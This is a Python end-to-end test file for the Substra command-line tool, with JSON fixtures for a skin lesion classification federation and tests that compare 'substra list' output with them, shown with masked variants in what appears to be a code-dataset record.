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<|reserved_special_token_0|> class TestList(TestCase): <|reserved_special_token_0|> <|reserved_special_token_0|> def test_list_objective(self): output = popen(['substra', 'list', 'objective', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == objective) def test_list_data_manager(self): output = popen(['substra', 'list', 'data_manager', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == data_manager) def test_list_data(self): output = popen(['substra', 'list', 'data_sample', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == data) <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class TestList(TestCase): <|reserved_special_token_0|> def tearDown(self): try: os.remove('/tmp/.substra_e2e') except: pass def test_list_objective(self): output = popen(['substra', 'list', 'objective', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == objective) def test_list_data_manager(self): output = popen(['substra', 'list', 'data_manager', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == data_manager) def test_list_data(self): output = popen(['substra', 'list', 'data_sample', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == data) def test_list_algo(self): output = popen(['substra', 'list', 'algo', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == algo) <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class TestList(TestCase): def setUp(self): Config({'<url>': 'http://owkin.substrabac:8000', '<version>': '0.0', '<user>': os.environ.get('BACK_AUTH_USER', ''), '<password>': os.environ.get('BACK_AUTH_PASSWORD', ''), '--config': '/tmp/.substra_e2e'}).run() def tearDown(self): try: os.remove('/tmp/.substra_e2e') except: pass def test_list_objective(self): output = popen(['substra', 'list', 'objective', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == objective) def test_list_data_manager(self): output = popen(['substra', 'list', 'data_manager', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == data_manager) def test_list_data(self): output = popen(['substra', 'list', 'data_sample', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == data) def test_list_algo(self): output = popen(['substra', 'list', 'algo', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == algo) <|reserved_special_token_0|> def test_list_traintuple(self): output = popen(['substra', 'list', 'traintuple', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == traintuple) <|reserved_special_token_1|> <|reserved_special_token_0|> class TestList(TestCase): def setUp(self): Config({'<url>': 'http://owkin.substrabac:8000', '<version>': '0.0', '<user>': os.environ.get('BACK_AUTH_USER', ''), '<password>': os.environ.get('BACK_AUTH_PASSWORD', ''), '--config': '/tmp/.substra_e2e'}).run() def tearDown(self): try: os.remove('/tmp/.substra_e2e') except: pass def test_list_objective(self): output = popen(['substra', 'list', 'objective', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == objective) def test_list_data_manager(self): output = popen(['substra', 'list', 'data_manager', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == data_manager) def test_list_data(self): output = popen(['substra', 'list', 'data_sample', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == data) def test_list_algo(self): output = popen(['substra', 'list', 'algo', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == algo) def test_list_model(self): output = popen(['substra', 'list', 'model', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == model) def test_list_traintuple(self): output = popen(['substra', 'list', 'traintuple', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == traintuple) <|reserved_special_token_1|> import json import os from subprocess import PIPE, Popen as popen from unittest import TestCase from substra.commands import Config objective = [[{ 'descriptionStorageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/description/', 'key': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f', 'metrics': {'hash': '750f622262854341bd44f55c1018949e9c119606ef5068bd7d137040a482a756', 'name': 'macro-average recall', 'storageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/metrics/'}, 'name': 'Skin Lesion Classification Challenge', 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all', 'testDataKeys': ['e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1']}, { 'descriptionStorageAddress': 'http://owkin.substrabac:8000/objective/6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c/description/', 'key': '6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c', 'metrics': {'hash': '0bc732c26bafdc41321c2bffd35b6835aa35f7371a4eb02994642c2c3a688f60', 'name': 'macro-average recall', 'storageAddress': 'http://owkin.substrabac:8000/objective/6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c/metrics/'}, 'name': 'Simplified skin lesion classification', 'owner': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55', 'permissions': 'all', 'testDataKeys': ['2d0f943aa81a9cb3fe84b162559ce6aff068ccb04e0cb284733b8f9d7e06517e', '533ee6e7b9d8b247e7e853b24547f57e6ef351852bac0418f13a0666173448f1']}]] data_manager = [[{'objectiveKeys': [], 'description': {'hash': '7a90514f88c70002608a9868681dd1589ea598e78d00a8cd7783c3ea0f9ceb09', 'storageAddress': 'http://chunantes.substrabac:8001/data_manager/ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994/description/'}, 'key': 'ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994', 'name': 'ISIC 2018', 'nbData': 2, 'openerStorageAddress': 'http://chunantes.substrabac:8001/data_manager/ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994/opener/', 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all', 'size': 553113, 'type': 'Images'}, { 'objectiveKeys': ['6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c', 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f'], 'description': {'hash': '258bef187a166b3fef5cb86e68c8f7e154c283a148cd5bc344fec7e698821ad3', 'storageAddress': 'http://owkin.substrabac:8000/data_manager/b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0/description/'}, 'key': 'b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0', 'name': 'Simplified ISIC 2018', 'nbData': 6, 'openerStorageAddress': 'http://owkin.substrabac:8000/data_manager/b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0/opener/', 'owner': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55', 'permissions': 'all', 'size': 1415097, 'type': 'Images'}]] data = [{'pkhash': 'e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1', 'validated': True, 'file': 'http://owkin.substrabac:8000/media/data/e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1/0024900.zip'}, {'pkhash': '4b5152871b181d10ee774c10458c064c70710f4ba35938f10c0b7aa51f7dc010', 'validated': True, 'file': 'http://owkin.substrabac:8000/media/data/4b5152871b181d10ee774c10458c064c70710f4ba35938f10c0b7aa51f7dc010/0024701.zip'}, {'pkhash': '93e4b1e040b08cfa8a68b13f9dddb95a6672e8a377378545b2b1254691cfc060', 'validated': True, 'file': 'http://owkin.substrabac:8000/media/data/93e4b1e040b08cfa8a68b13f9dddb95a6672e8a377378545b2b1254691cfc060/0024317.zip'}, {'pkhash': 'eed4c6ea09babe7ca6428377fff6e54102ef5cdb0cae593732ddbe3f224217cb', 'validated': True, 'file': 'http://owkin.substrabac:8000/media/data/eed4c6ea09babe7ca6428377fff6e54102ef5cdb0cae593732ddbe3f224217cb/0024316.zip'}, {'pkhash': '2d0f943aa81a9cb3fe84b162559ce6aff068ccb04e0cb284733b8f9d7e06517e', 'validated': True, 'file': 'http://owkin.substrabac:8000/media/data/2d0f943aa81a9cb3fe84b162559ce6aff068ccb04e0cb284733b8f9d7e06517e/0024315.zip'}, {'pkhash': '533ee6e7b9d8b247e7e853b24547f57e6ef351852bac0418f13a0666173448f1', 'validated': True, 'file': 'http://owkin.substrabac:8000/media/data/533ee6e7b9d8b247e7e853b24547f57e6ef351852bac0418f13a0666173448f1/0024318.zip'}] algo = [[{'objectiveKey': '6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c', 'description': {'hash': '3b1281cbdd6ebfec650d0a9f932a64e45a27262848065d7cecf11fd7191b4b1f', 'storageAddress': 'http://chunantes.substrabac:8001/algo/7742aea2001ceb40e9ce8a37fa27237d5b2d1f574e06d48677af945cfdf42ec0/description/'}, 'key': '7742aea2001ceb40e9ce8a37fa27237d5b2d1f574e06d48677af945cfdf42ec0', 'name': 'Logistic regression for balanced problem', 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all', 'storageAddress': 'http://chunantes.substrabac:8001/algo/7742aea2001ceb40e9ce8a37fa27237d5b2d1f574e06d48677af945cfdf42ec0/file/'}, {'objectiveKey': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f', 'description': {'hash': 'b9463411a01ea00869bdffce6e59a5c100a4e635c0a9386266cad3c77eb28e9e', 'storageAddress': 'http://chunantes.substrabac:8001/algo/0acc5180e09b6a6ac250f4e3c172e2893f617aa1c22ef1f379019d20fe44142f/description/'}, 'key': '0acc5180e09b6a6ac250f4e3c172e2893f617aa1c22ef1f379019d20fe44142f', 'name': 'Neural Network', 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all', 'storageAddress': 'http://chunantes.substrabac:8001/algo/0acc5180e09b6a6ac250f4e3c172e2893f617aa1c22ef1f379019d20fe44142f/file/'}, {'objectiveKey': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f', 'description': {'hash': '124a0425b746d7072282d167b53cb6aab3a31bf1946dae89135c15b0126ebec3', 'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/description/'}, 'key': '6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f', 'name': 'Logistic regression', 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all', 'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/file/'}, {'objectiveKey': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f', 'description': {'hash': '4acea40c4b51996c88ef279c5c9aa41ab77b97d38c5ca167e978a98b2e402675', 'storageAddress': 'http://chunantes.substrabac:8001/algo/f2d9fd38e25cd975c49f3ce7e6739846585e89635a86689b5db42ab2c0c57284/description/'}, 'key': 'f2d9fd38e25cd975c49f3ce7e6739846585e89635a86689b5db42ab2c0c57284', 'name': 'Random Forest', 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all', 'storageAddress': 'http://chunantes.substrabac:8001/algo/f2d9fd38e25cd975c49f3ce7e6739846585e89635a86689b5db42ab2c0c57284/file/'}]] model = [[{'algo': {'hash': '6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f', 'name': 'Logistic regression', 'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/file/'}, 'objective': {'hash': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f', 'metrics': {'hash': '750f622262854341bd44f55c1018949e9c119606ef5068bd7d137040a482a756', 'storageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/metrics/'}}, 'creator': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'endModel': {'hash': 'fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb', 'storageAddress': 'http://chunantes.substrabac:8001/model/fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb/file/'}, 'key': '3e1a9e122765b2976f393322ab9d1c59fb113b35e2531900e06c9ae0f41e8afb', 'log': 'Train - CPU:100.23 % - Mem:0.14 GB - GPU:0.00 % - GPU Mem:0.00 GB; Test - CPU:0.00 % - Mem:0.00 GB - GPU:0.00 % - GPU Mem:0.00 GB; ', 'permissions': 'all', 'startModel': None, 'status': 'done', 'testData': {'keys': ['e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1'], 'openerHash': 'b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0', 'perf': 1, 'worker': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55'}, 'trainData': { 'keys': ['62fb3263208d62c7235a046ee1d80e25512fe782254b730a9e566276b8c0ef3a', '42303efa663015e729159833a12ffb510ff92a6e386b8152f90f6fb14ddc94c9'], 'openerHash': 'ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994', 'perf': 1, 'worker': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f'}}]] traintuple = [{'algo': {'hash': '6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f', 'name': 'Logistic regression', 'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/file/'}, 'objective': {'hash': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f', 'metrics': {'hash': '750f622262854341bd44f55c1018949e9c119606ef5068bd7d137040a482a756', 'storageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/metrics/'}}, 'creator': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'endModel': {'hash': 'fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb', 'storageAddress': 'http://chunantes.substrabac:8001/model/fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb/file/'}, 'key': '3e1a9e122765b2976f393322ab9d1c59fb113b35e2531900e06c9ae0f41e8afb', 'log': 'Train - CPU:100.23 % - Mem:0.14 GB - GPU:0.00 % - GPU Mem:0.00 GB; Test - CPU:0.00 % - Mem:0.00 GB - GPU:0.00 % - GPU Mem:0.00 GB; ', 'permissions': 'all', 'startModel': None, 'status': 'done', 'testData': {'keys': ['e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1'], 'openerHash': 'b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0', 'perf': 1, 'worker': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55'}, 'trainData': {'keys': ['62fb3263208d62c7235a046ee1d80e25512fe782254b730a9e566276b8c0ef3a', '42303efa663015e729159833a12ffb510ff92a6e386b8152f90f6fb14ddc94c9'], 'openerHash': 'ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994', 'perf': 1, 'worker': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f'}}] # Run this test only after an e2e multi orgs class TestList(TestCase): def setUp(self): Config({ '<url>': 'http://owkin.substrabac:8000', '<version>': '0.0', '<user>': os.environ.get('BACK_AUTH_USER', ''), '<password>': os.environ.get('BACK_AUTH_PASSWORD', ''), '--config': '/tmp/.substra_e2e' }).run() def tearDown(self): try: os.remove('/tmp/.substra_e2e') except: pass def test_list_objective(self): output = popen(['substra', 'list', 'objective', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == objective) def test_list_data_manager(self): output = popen(['substra', 'list', 'data_manager', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == data_manager) def test_list_data(self): output = popen(['substra', 'list', 'data_sample', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == data) def test_list_algo(self): output = popen(['substra', 'list', 'algo', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == algo) def test_list_model(self): output = popen(['substra', 'list', 'model', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == model) def test_list_traintuple(self): output = popen(['substra', 'list', 'traintuple', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0] res = output.decode('utf-8') self.assertTrue(json.loads(res) == traintuple)
flexible
{ "blob_id": "c55b768466309d2e655c9222e0674a6bc2a958b3", "index": 9899, "step-1": "<mask token>\n\n\nclass TestList(TestCase):\n <mask token>\n <mask token>\n\n def test_list_objective(self):\n output = popen(['substra', 'list', 'objective',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == objective)\n\n def test_list_data_manager(self):\n output = popen(['substra', 'list', 'data_manager',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data_manager)\n\n def test_list_data(self):\n output = popen(['substra', 'list', 'data_sample',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data)\n <mask token>\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass TestList(TestCase):\n <mask token>\n\n def tearDown(self):\n try:\n os.remove('/tmp/.substra_e2e')\n except:\n pass\n\n def test_list_objective(self):\n output = popen(['substra', 'list', 'objective',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == objective)\n\n def test_list_data_manager(self):\n output = popen(['substra', 'list', 'data_manager',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data_manager)\n\n def test_list_data(self):\n output = popen(['substra', 'list', 'data_sample',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data)\n\n def test_list_algo(self):\n output = popen(['substra', 'list', 'algo',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == algo)\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass TestList(TestCase):\n\n def setUp(self):\n Config({'<url>': 'http://owkin.substrabac:8000', '<version>': '0.0',\n '<user>': os.environ.get('BACK_AUTH_USER', ''), '<password>':\n os.environ.get('BACK_AUTH_PASSWORD', ''), '--config':\n '/tmp/.substra_e2e'}).run()\n\n def tearDown(self):\n try:\n os.remove('/tmp/.substra_e2e')\n except:\n pass\n\n def test_list_objective(self):\n output = popen(['substra', 'list', 'objective',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == objective)\n\n def test_list_data_manager(self):\n output = popen(['substra', 'list', 'data_manager',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data_manager)\n\n def test_list_data(self):\n output = popen(['substra', 'list', 'data_sample',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data)\n\n def test_list_algo(self):\n output = popen(['substra', 'list', 'algo',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == algo)\n <mask token>\n\n def test_list_traintuple(self):\n output = popen(['substra', 'list', 'traintuple',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == traintuple)\n", "step-4": "<mask token>\n\n\nclass TestList(TestCase):\n\n def setUp(self):\n Config({'<url>': 'http://owkin.substrabac:8000', '<version>': '0.0',\n '<user>': os.environ.get('BACK_AUTH_USER', ''), '<password>':\n os.environ.get('BACK_AUTH_PASSWORD', ''), '--config':\n '/tmp/.substra_e2e'}).run()\n\n def tearDown(self):\n try:\n os.remove('/tmp/.substra_e2e')\n except:\n pass\n\n def test_list_objective(self):\n output = popen(['substra', 'list', 'objective',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == objective)\n\n def test_list_data_manager(self):\n output = popen(['substra', 'list', 'data_manager',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data_manager)\n\n def test_list_data(self):\n output = popen(['substra', 'list', 'data_sample',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data)\n\n def test_list_algo(self):\n output = popen(['substra', 'list', 'algo',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == algo)\n\n def test_list_model(self):\n output = popen(['substra', 'list', 'model',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == model)\n\n def test_list_traintuple(self):\n output = popen(['substra', 'list', 'traintuple',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == traintuple)\n", "step-5": "import json\nimport os\nfrom subprocess import PIPE, Popen as popen\nfrom unittest import TestCase\n\nfrom substra.commands import Config\n\nobjective = [[{\n 'descriptionStorageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/description/',\n 'key': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',\n 'metrics': {'hash': '750f622262854341bd44f55c1018949e9c119606ef5068bd7d137040a482a756',\n 'name': 'macro-average recall',\n 'storageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/metrics/'},\n 'name': 'Skin Lesion Classification Challenge',\n 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',\n 'testDataKeys': ['e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1']}, {\n 'descriptionStorageAddress': 'http://owkin.substrabac:8000/objective/6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c/description/',\n 'key': '6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c',\n 'metrics': {'hash': '0bc732c26bafdc41321c2bffd35b6835aa35f7371a4eb02994642c2c3a688f60',\n 'name': 'macro-average recall',\n 'storageAddress': 'http://owkin.substrabac:8000/objective/6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c/metrics/'},\n 'name': 'Simplified skin lesion classification',\n 'owner': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55', 'permissions': 'all',\n 'testDataKeys': ['2d0f943aa81a9cb3fe84b162559ce6aff068ccb04e0cb284733b8f9d7e06517e',\n '533ee6e7b9d8b247e7e853b24547f57e6ef351852bac0418f13a0666173448f1']}]]\n\ndata_manager = [[{'objectiveKeys': [],\n 'description': {'hash': '7a90514f88c70002608a9868681dd1589ea598e78d00a8cd7783c3ea0f9ceb09',\n 'storageAddress': 'http://chunantes.substrabac:8001/data_manager/ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994/description/'},\n 'key': 'ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994', 'name': 'ISIC 2018',\n 'nbData': 2,\n 'openerStorageAddress': 'http://chunantes.substrabac:8001/data_manager/ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994/opener/',\n 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',\n 'size': 553113, 'type': 'Images'}, {\n 'objectiveKeys': ['6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c',\n 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f'],\n 'description': {'hash': '258bef187a166b3fef5cb86e68c8f7e154c283a148cd5bc344fec7e698821ad3',\n 'storageAddress': 'http://owkin.substrabac:8000/data_manager/b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0/description/'},\n 'key': 'b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0',\n 'name': 'Simplified ISIC 2018', 'nbData': 6,\n 'openerStorageAddress': 'http://owkin.substrabac:8000/data_manager/b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0/opener/',\n 'owner': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55', 'permissions': 'all',\n 'size': 1415097, 'type': 'Images'}]]\n\ndata = [{'pkhash': 'e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1', 'validated': True,\n 'file': 'http://owkin.substrabac:8000/media/data/e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1/0024900.zip'},\n {'pkhash': '4b5152871b181d10ee774c10458c064c70710f4ba35938f10c0b7aa51f7dc010', 'validated': True,\n 'file': 'http://owkin.substrabac:8000/media/data/4b5152871b181d10ee774c10458c064c70710f4ba35938f10c0b7aa51f7dc010/0024701.zip'},\n {'pkhash': '93e4b1e040b08cfa8a68b13f9dddb95a6672e8a377378545b2b1254691cfc060', 'validated': True,\n 'file': 'http://owkin.substrabac:8000/media/data/93e4b1e040b08cfa8a68b13f9dddb95a6672e8a377378545b2b1254691cfc060/0024317.zip'},\n {'pkhash': 'eed4c6ea09babe7ca6428377fff6e54102ef5cdb0cae593732ddbe3f224217cb', 'validated': True,\n 'file': 'http://owkin.substrabac:8000/media/data/eed4c6ea09babe7ca6428377fff6e54102ef5cdb0cae593732ddbe3f224217cb/0024316.zip'},\n {'pkhash': '2d0f943aa81a9cb3fe84b162559ce6aff068ccb04e0cb284733b8f9d7e06517e', 'validated': True,\n 'file': 'http://owkin.substrabac:8000/media/data/2d0f943aa81a9cb3fe84b162559ce6aff068ccb04e0cb284733b8f9d7e06517e/0024315.zip'},\n {'pkhash': '533ee6e7b9d8b247e7e853b24547f57e6ef351852bac0418f13a0666173448f1', 'validated': True,\n 'file': 'http://owkin.substrabac:8000/media/data/533ee6e7b9d8b247e7e853b24547f57e6ef351852bac0418f13a0666173448f1/0024318.zip'}]\n\nalgo = [[{'objectiveKey': '6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c',\n 'description': {'hash': '3b1281cbdd6ebfec650d0a9f932a64e45a27262848065d7cecf11fd7191b4b1f',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/7742aea2001ceb40e9ce8a37fa27237d5b2d1f574e06d48677af945cfdf42ec0/description/'},\n 'key': '7742aea2001ceb40e9ce8a37fa27237d5b2d1f574e06d48677af945cfdf42ec0',\n 'name': 'Logistic regression for balanced problem',\n 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',\n 'storageAddress': 